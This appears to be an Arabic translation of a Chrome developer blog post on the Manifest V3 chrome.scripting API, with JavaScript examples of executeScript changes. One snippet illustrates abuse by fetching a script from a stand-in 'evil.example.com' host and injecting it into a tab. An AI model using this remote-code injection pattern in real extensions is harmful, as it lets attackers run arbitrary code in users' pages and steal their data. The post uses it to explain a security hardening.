لمحة عن واجهة برمجة التطبيقات chrome.scripting

يقدّم الإصدار 3 من ملف البيان عددًا من التغييرات على نظام الإضافات في Chrome. في هذه المشاركة، سنوضّح الدوافع والتغييرات التي أدّت إلى أحد التغييرات الأكثر بروزًا: إدخال واجهة برمجة التطبيقات chrome.scripting.

ما هو chrome.scripting؟

كما يوحي الاسم، chrome.scripting هي مساحة اسم جديدة تم تقديمها في الإصدار 3 من ملف البيان وتكون مسؤولة عن إمكانات حقن النصوص البرمجية والأنماط.

قد يكون المطوّرون الذين أنشأوا إضافات Chrome في السابق على دراية بأساليب Manifest V2 في Tabs API، مثل chrome.tabs.executeScript و chrome.tabs.insertCSS. تسمح هذه الطرق للإضافات بإدخال النصوص البرمجية وملفّات stylesheets في الصفحات، على التوالي. في الإصدار 3 من Manifest، تم نقل هذه الإمكانات إلى chrome.scripting ونخطّط لتوسيع نطاق هذه الواجهة من خلال إضافة بعض الإمكانات الجديدة في المستقبل.

لماذا يجب إنشاء واجهة برمجة تطبيقات جديدة؟

عند إجراء تغيير كهذا، من أوّل الأسئلة التي تطرحها عادةً هي "لماذا؟"

أدّت بعض العوامل المختلفة إلى قرار فريق Chrome بتقديم مساحة اسم جديدة لكتابة النصوص البرمجية. أولاً، واجهة برمجة التطبيقات Tabs API هي بمثابة درج غير مرغوب فيه للميزات. ثانيًا، كان علينا إجراء تغييرات جذرية على واجهة برمجة التطبيقات الحالية executeScript API. ثالثًا، أردنا توسيع نطاق إمكانات النصوص البرمجية للإضافات. وقد حدّدت هذه المخاوف معًا بوضوح الحاجة إلى مساحة اسم جديدة لجمع إمكانات النصوص البرمجية.

درج المهملات

إنّ أحد المشاكل التي كانت تؤرق فريق الإضافات خلال السنوات القليلة الماضية هي زيادة عدد عمليات طلب بيانات واجهة برمجة التطبيقات chrome.tabs. عند طرح واجهة برمجة التطبيقات هذه لأول مرة، كانت معظم الإمكانات التي كانت توفرها مرتبطة بالمفهوم العام لعلامة التبويب في المتصفّح. وحتى في ذلك الوقت، كانت هذه المجموعة تضم مجموعة متنوعة من الميزات، ولقد ازدادت هذه المجموعة على مرّ السنين.

بحلول وقت إصدار الإصدار 3 من البيان، تم توسيع نطاق Tabs API ليشمل إدارة علامات التبويب الأساسية، وإدارة الاختيار، وتنظيم النوافذ، والمراسلة، والتحكّم في مستوى التكبير/التصغير، والتنقّل الأساسي، وكتابة النصوص البرمجية، وبعض الإمكانات الأصغر حجمًا الأخرى. على الرغم من أنّ هذه الخطوات مهمة، إلا أنّها قد تكون مربكة بعض الشيء للمطوّرين عند بدء استخدام المنصة ولفريق Chrome أثناء صيانته لها ومراعاة طلبات منتدى المطوّرين.

من العوامل المعقدة الأخرى عدم فهم إذن tabs بشكل جيد. في حين أنّ العديد من الأذونات الأخرى تفرض قيودًا على الوصول إلى واجهة برمجة تطبيقات معيّنة (مثل storage)، فإنّ هذا الإذن قليلاً ما يُستخدم لأنّه لا يمنح الإضافة سوى إذن الوصول إلى المواقع الحسّاسة في نُسخ علامة التبويب (ويؤثّر أيضًا في Windows API). من المفهوم أنّ العديد من مطوّري الإضافات يعتقدون خطأً أنّه يجب الحصول على هذا الإذن للوصول إلى طرق Tabs API، مثل chrome.tabs.create أو chrome.tabs.executeScript. يساعد نقل الوظائف خارج Tabs API في توضيح بعض هذا الالتباس.

التغييرات التي قد تؤدي إلى أعطال

عند تصميم Manifest V3، كانت إحدى المشاكل الرئيسية التي أردنا معالجتها هي إساءة الاستخدام والبرامج الضارّة التي يتم تفعيلها من خلال "الرمز البرمجي المستضاف عن بُعد"، وهو رمز يتم تنفيذه ولكنّه غير مضمّن في حِزمة الإضافة. من الشائع أن ينفِّذ صنّاع الإضافات المسيئة نصوصًا برمجية يتم جلبها من خوادم عن بُعد بهدف سرقة بيانات المستخدمين وحقن برامج ضارة والتهرب من رصدها. على الرغم من أنّ الجهات الفاعلة الجيّدة تستخدم هذه الميزة أيضًا، كنا نعتقد في نهاية المطاف أنّه من الخطير جدًا إبقاء هذه الميزة على وضعها السابق.

هناك طريقتان مختلفتان يمكن للإضافات من خلالهما تنفيذ رمز غير مجمّع، ولكن الطريقة ذات الصلة هنا هي طريقة chrome.tabs.executeScript في الإصدار 2 من ملف البيان. تسمح هذه الطريقة للإضافة بتنفيذ سلسلة رمز عشوائية في علامة تبويب مستهدفة. وهذا يعني بدوره أنّ المطوّر الضار يمكنه جلب نص برمجي عشوائي من خادم بعيد وتنفيذه داخل أي صفحة يمكن للإضافة الوصول إليها. كنا ندرك أنّه إذا أردنا معالجة مشكلة الرمز عن بُعد، علينا التخلي عن هذه الميزة.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

أردنا أيضًا حلّ بعض المشاكل الأخرى الأكثر دقة في تصميم Manifest V2، وجعل واجهة برمجة التطبيقات أداة أكثر دقة ويمكن التنبؤ بها.

على الرغم من أنّه كان بإمكاننا تغيير توقيع هذه الطريقة ضمن Tabs API، إلا أنّنا رأينا أنّه بين هذه التغييرات الأساسية وتقديم إمكانات جديدة (الموضَّحة في القسم التالي)، سيكون الابتعاد عن الإصدارات السابقة أسهل للجميع.

توسيع إمكانات النصوص البرمجية

من بين الاعتبارات الأخرى التي تم أخذها في الاعتبار أثناء عملية تصميم Manifest V3 الرغبة في تقديم إمكانات إضافية لكتابة النصوص البرمجية لمنصّة إضافات Chrome. على وجه التحديد، أردنا إضافة دعم للنصوص البرمجية للمحتوى الديناميكي وتوسيع إمكانات طريقة executeScript.

إنّ إتاحة النصوص البرمجية للمحتوى الديناميكي هي ميزة يطلبها المستخدمون منذ فترة طويلة في Chromium. في الوقت الحالي، يمكن لإضافات Chrome التي تستخدم الإصدار 2 أو 3 من ملف البيان الإفصاح بشكل ثابت عن نصوص المحتوى البرمجية في ملف manifest.json فقط، ولا يقدّم النظام الأساسي طريقة لتسجيل نصوص محتوى برمجية جديدة أو تعديل تسجيل نصوص المحتوى البرمجية أو إلغاء تسجيلها أثناء التشغيل.

على الرغم من أنّنا أردنا معالجة طلب هذه الميزة في الإصدار 3 من ملف البيان، لم تكن أي من منصّات برمجة التطبيقات الحالية مناسبةً لذلك. لقد فكّرنا أيضًا في التوافق مع Firefox في ما يتعلّق بواجهة برمجة التطبيقات Content Scripts API، ولكن في وقت مبكر جدًا، رصدنا بعض العيوب الرئيسية لهذا النهج. أولاً، علمنا أنّه سيكون لدينا توقيعات غير متوافقة (مثل إيقاف إتاحة code السمة). ثانيًا، كانت واجهة برمجة التطبيقات لدينا تتضمّن مجموعة مختلفة من قيود التصميم (مثل الحاجة إلى تسجيل للحفاظ على التسجيل بعد انتهاء صلاحية عامل الخدمة). أخيرًا، ستحصرنا مساحة الاسم هذه أيضًا في وظائف النصوص البرمجية للمحتوى، حيث نفكر في استخدام النصوص البرمجية في الإضافات بشكل أوسع.

في ما يتعلّق بواجهة برمجة التطبيقات executeScript، أردنا أيضًا توسيع نطاق وظائفها إلى ما هو أبعد من الوظائف التي يتيحها إصدار Tabs API. وبشكل أكثر تحديدًا، أردنا إتاحة الدوالّ والوسيطات، وتحديد إطارات معيّنة بسهولة أكبر، واستهداف سياقات غير "علامة التبويب".

من الآن فصاعدًا، سننظر أيضًا في كيفية تفاعل الإضافات مع التطبيقات المتوافقة مع الأجهزة الجوّالة التي تم تثبيتها وغيرها من السياقات التي لا ترتبط من الناحية النظرية بـ "علامات التبويب".

التغييرات بين tabs.executeScript وscripting.executeScript

في الجزء المتبقّي من هذه المشاركة، نريد إلقاء نظرة عن كثب على أوجه التشابه والاختلاف بين chrome.tabs.executeScript و chrome.scripting.executeScript.

إدراج دالة مع وسيطات

أثناء التفكير في كيفية تطوير المنصة في ضوء القيود المفروضة على التعليمات البرمجية المستضافة عن بُعد، أردنا تحقيق التوازن بين القوة الأولية لتنفيذ التعليمات البرمجية العشوائية وعدم السماح إلا بتنفيذ النصوص البرمجية للمحتوى الثابت. كان الحلّ الذي توصلنا إليه هو السماح للإضافات بإدخال دالّة كنص برمجي للمحتوى ونقل صفيف من القيم كوسيطات.

لنلقِ نظرة سريعة على مثال (مبسّط جدًا). لنفترض أنّنا أردنا إدراج نص برمجي يُرحّب بالمستخدم باسمه عندما ينقر على زر الإجراء الخاص بالإضافة (الرمز في شريط الأدوات). في الإصدار Manifest V2، يمكننا إنشاء سلسلة رموز برمجية ديناميكيًا وتنفيذ هذا البرنامج النصي في الصفحة الحالية.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

على الرغم من أنّ الإضافات المستندة إلى الإصدار 3 من ملف البيان لا يمكنها استخدام رمز غير مُضمّن في الإضافة، كان هدفنا هو الحفاظ على بعض الديناميكية التي تتيحها مجموعات الرموز البرمجية العشوائية لإضافات الإصدار 2 من ملف البيان. من خلال نهج الوظائف والمَعلمات، يمكن لمراجعي "سوق Chrome الإلكتروني" والمستخدمين وغيرها من الجهات المعنيّة تقييم المخاطر التي تشكلها الإضافة بدقة أكبر، مع السماح أيضًا ل المطوّرين بتعديل سلوك وقت تشغيل الإضافة استنادًا إلى إعدادات المستخدم أو حالة التطبيق.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

استهداف الإطارات

أردنا أيضًا تحسين طريقة تفاعل المطوّرين مع اللقطات في واجهة برمجة التطبيقات المعدَّلة. سمح إصدار Manifest V2 من executeScript للمطوّرين باستهداف جميع اللقطات في علامة تبويب أو لقطة معيّنة في علامة التبويب. يمكنك استخدام chrome.webNavigation.getAllFrames للحصول على قائمة بجميع اللقطات في علامة تبويب.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

في الإصدار 3 من البيان، استبدلنا السمة الاختيارية للعدد الصحيح frameId في عنصر الخيارات بأحد مصفوفات الأعداد الصحيحة الاختيارية frameIds، ما يسمح للمطوّرين باستهداف إطارات متعددة في طلب واحد لواجهة برمجة التطبيقات.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

نتائج حقن النصوص البرمجية

لقد حسّنا أيضًا طريقة عرض نتائج حقن النصوص البرمجية في الإصدار 3 من ملف البيان. "النتيجة" هي في الأساس العبارة النهائية التي يتم تقييمها في نص برمجي. يمكنك اعتبارها القيمة التي يتم عرضها عند استدعاء eval() أو تنفيذ مجموعة من الرموز البرمجية في وحدة تحكّم أدوات مطوّري البرامج في Chrome، ولكن يتم تسلسلها من أجل تمرير النتائج في جميع العمليات.

في الإصدار 2 من بيان التطبيق، سيعرِض executeScript وinsertCSS صفيفًا من نتائج التنفيذ العادية. لا بأس بذلك إذا كانت لديك نقطة إدراج واحدة فقط، ولكن لا يمكن ضمان ترتيب النتائج عند الإدراج في إطارات متعددة، وبالتالي لا تتوفّر طريقة لمعرفة النتيجة المرتبطة بالإطار.

على سبيل المثال، لنلقِ نظرة على صفائف results التي يعرضها كلّ من Manifest V2 و Manifest V3 من الإضافة نفسها. سيُدخل كلا الإصدارَين من الإضافة النص البرمجي للمحتوى نفسه، وسنقارن النتائج على الصفحة التجريبية نفسها.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

عند تشغيل الإصدار 2 من ملف البيان، نحصل على صفيف من [1, 0, 5]. أيّ من النتائج يتوافق مع الإطار الرئيسي وأيّ منها يتوافق مع إطار iframe؟ لا تُعلمنا القيمة المعروضة، لذلك لا نعرف بالتأكيد.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

في الإصدار 3 من ملف البيان، يحتوي results الآن على صفيف من عناصر النتائج بدلاً من صفيف من نتائج التقييم فقط، وتحدِّد عناصر النتائج بوضوح معرّف الإطار لكل نتيجة. يسهّل ذلك على المطوّرين استخدام النتيجة واتّخاذ إجراء بشأن إطار زمني معيّن.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

الخاتمة

توفّر عمليات ترقية إصدارات بيان التطبيق فرصة نادرة لإعادة التفكير في واجهات برمجة التطبيقات الخاصة بالإضافات وتطويرها. هدفنا هو تحسين تجربة المستخدم النهائي من خلال جعل الإضافات أكثر أمانًا، فضلاً عن تحسين تجربة المطوّر. من خلال تقديم chrome.scripting في الإصدار 3 من ملف البيان، تمكّنا من المساعدة في تنظيف Tabs API، وإعادة تصميم executeScript لتوفير منصة إضافات أكثر أمانًا، ووضع الأساس لإمكانات جديدة لكتابة النصوص البرمجية ستتوفّر في وقت لاحق من هذا العام.